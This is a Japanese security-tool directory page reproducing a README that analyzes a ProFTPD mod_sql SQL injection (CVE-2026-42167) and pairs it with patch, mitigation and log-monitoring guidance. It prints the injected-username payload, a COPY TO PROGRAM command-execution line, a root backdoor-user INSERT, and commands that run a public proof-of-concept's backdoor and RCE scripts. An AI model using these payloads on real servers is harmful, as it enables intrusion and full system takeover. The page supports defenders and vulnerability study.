Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42167 — CVE-2026-42167の技術的分析と概念実証。ProFTPD mod_sqlにおける重大なSQLインジェクションであり、認証バイパス、バックドアユーザー注入、リモートコード実行を可能にします。 | Kitploit
ツール/GitHubGitHub/kaleth4/cve-2026-42167
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubkaleth4/cve-2026-42167

CVE-2026-42167

CVE-2026-42167の技術的分析と概念実証。ProFTPD mod_sqlにおける重大なSQLインジェクションであり、認証バイパス、バックドアユーザー注入、リモートコード実行を可能にします。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42167: ProFTPD mod_sql におけるSQLインジェクション

📋 エグゼクティブサマリー

CVE-2026-42167 は、ProFTPD の mod_sql モジュールにおける重大なSQLインジェクション脆弱性であり、認証バイパス、バックドアユーザーの注入、リモートコード実行(RCE) を可能にします。

属性値
タイプSQLインジェクション(CWE-89)
深刻度高/重大
CVSS v38.1
コンポーネントProFTPD < 1.3.9a の mod_sql
報告者ZeroPath Research
日付2026年4月28日

🔍 技術的説明

問題: is_escaped_text() における脆弱な検証

ProFTPD は、SQLクエリに値を挿入する前に値がすでにサニタイズされているかどうかを判断するために is_escaped_text() 関数を使用します。この関数は、以下の条件を満たす入力を想定しています:

  • 単一引用符 ' で始まる
  • 単一引用符 ' で終わる
  • 内部に単一引用符を含まない

...これらはすでにエスケープされており、追加の処理は不要であると見なされます。

エクスプロイト

攻撃者は、以下のような悪意のあるユーザー名を送信できます:

root@kitploit:~
USER ' || (SELECT 1) ||'

SQLクエリに挿入されると:

root@kitploit:~
INSERT "'%U', '%r', '%m'" activity_log

次のようになります:

root@kitploit:~
INSERT "'' || (SELECT 1) || ''" activity_log

|| 演算子が注入されたコマンドの周囲に空文字列を連結するため、ペイロードは任意のSQLとして実行されます。


⚠️ 影響シナリオ

1️⃣ リモートコード実行(RCE)

要件:

  • PostgreSQL バックエンド
  • スーパーユーザー権限を持つデータベースユーザー
  • %U または %{basename} 変数を使用したSQLロギングの有効化

手法:

root@kitploit:~
COPY (SELECT 1) TO PROGRAM 'comando_malicioso'

postgres ユーザーとしてオペレーティングシステムレベルでコマンドを実行します。

2️⃣ 認証バイパス

要件:

  • SQLAuthenticate が有効
  • SQLLog ERR_*(認証前)で %U 変数を使用したSQLロギング

手法:

root@kitploit:~
INSERT INTO users (username, password, uid, homedir) 
VALUES ('attacker', 'password_hash', 0, '/')

攻撃者は uid=0(root)を持つバックドアユーザーを注入し、ファイルシステム全体へのアクセスを取得します。

3️⃣ データの窃取

要件:

  • 任意のSQLバックエンド
  • SQLロギングが有効

手法: 時間ベースのブラインドSQLインジェクションを使用して、資格情報を1文字ずつ抽出します。


📊 攻撃ベクトル

攻撃者が制御する変数

変数意味範囲
%U元のユーザー名(認証前)認証前
%A匿名ログインパスワード認証前
%Jコマンドパラメータ認証前
%mFTP動詞(STOR、RETR など)認証前
%{basename}ファイル名コンポーネント認証後
%lident応答(RFC 1413)認証前(identd が利用可能な場合)

エクスプロイト経路

認証前(最も重大):

root@kitploit:~
%U + SQLLog ERR_* → 資格情報不要

認証後:

root@kitploit:~
%{basename} + SQLLog STOR → 有効なFTPユーザーが必要

🛡️ 緩和策と修正

✅ 推奨される修正

直ちに ProFTPD 1.3.9a 以降にアップデート:

root@kitploit:~
# 現在のバージョンを確認
proftpd -v

# アップデート(Debian/Ubuntu の例)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1

🔧 一時的な緩和策

すぐにアップデートできない場合:

  1. SQLロギングを無効化:
root@kitploit:~
# proftpd.conf の以下の行をコメントアウトまたは削除
# SQLLog * log_activity
# SQLLog ERR_* log_activity
  1. 最小権限の原則を適用:
root@kitploit:~
-- PostgreSQL でスーパーユーザー権限のないユーザーを作成
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- SUPERUSER を付与しない
  1. エクスプロイト試行の監視:
root@kitploit:~
TraceLog /var/log/proftpd/trace.log
Trace sql:17

🔎 脆弱性の検証

侵害の指標

ProFTPD のトレースログ(Trace sql:17 有効時)で以下を検索:

root@kitploit:~
text 'payload' is already escaped, skipping escaping it again

このメッセージは、バイパス試行が脆弱なエンジンによって処理されたことを示します。

検証コマンド

root@kitploit:~
# 詳細なトレースを有効化
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf

# ProFTPD を再起動
sudo systemctl restart proftpd

# ログを監視
tail -f /var/log/proftpd/trace.log | grep "already escaped"

📦 バージョン情報

バージョンステータス
< 1.3.9❌ 脆弱
1.3.9❌ 脆弱
≥ 1.3.9a✅ パッチ適用済み
≥ 1.3.10rc1✅ パッチ適用済み

🧪 概念実証(PoC)

公式リポジトリ

GitHub: ZeroPathAI/proftpd-CVE-2026-42167-poc

Docker によるクイックセットアップ

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc

# 要件
# - Docker
# - Git
# - Python 3.10+
# - uv(Pythonパッケージマネージャー)

# 脆弱な環境をセットアップ
cd setup
./setup.sh

# PoC を実行
cd ../pocs
python3 preauth_user_backdoor.py      # バックドアユーザーを注入(認証前)
python3 preauth_user_rce.py           # COPY TO PROGRAM による RCE(認証前)
python3 postauth_stor_backdoor.py     # ユーザーを注入(認証後)
python3 postauth_stor_rce.py          # RCE(認証後)

# クリーンアップ
cd ../setup
./teardown.sh

📅 タイムライン

日付イベント
2026-03-28脆弱性が ProFTPD に報告される
2026-04-07検証とパッチ開発
2026-04-24CVE-2026-42167 が割り当てられる
2026-04-27パッチリリース(コミット af90843baf7dcb8c6be1e5261be2d0b5b5850673)
2026-04-27ProFTPD 1.3.9a リリース

📚 参考情報

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42167
  • 技術ブログ: https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
  • PoC リポジトリ: https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
  • リリースノート: http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1
  • ディスカッション: https://github.com/proftpd/proftpd/issues/2052

⚡ 最終推奨事項

  1. 即時対応: ProFTPD を 1.3.9a 以降にアップデート
  2. 監査: すべての ProFTPD サーバーで SQLLog 設定を確認
  3. 権限: データベースユーザーにスーパーユーザー権限がないことを確認
  4. 監視: SQLインジェクション試行のアラートを実装
  5. パッチ: すべての依存関係に対して定期的なパッチプログラムを維持

最終更新: 2026年4月28日
出典: ZeroPath Research、MITRE CVE、NVD

ツールをダウンロード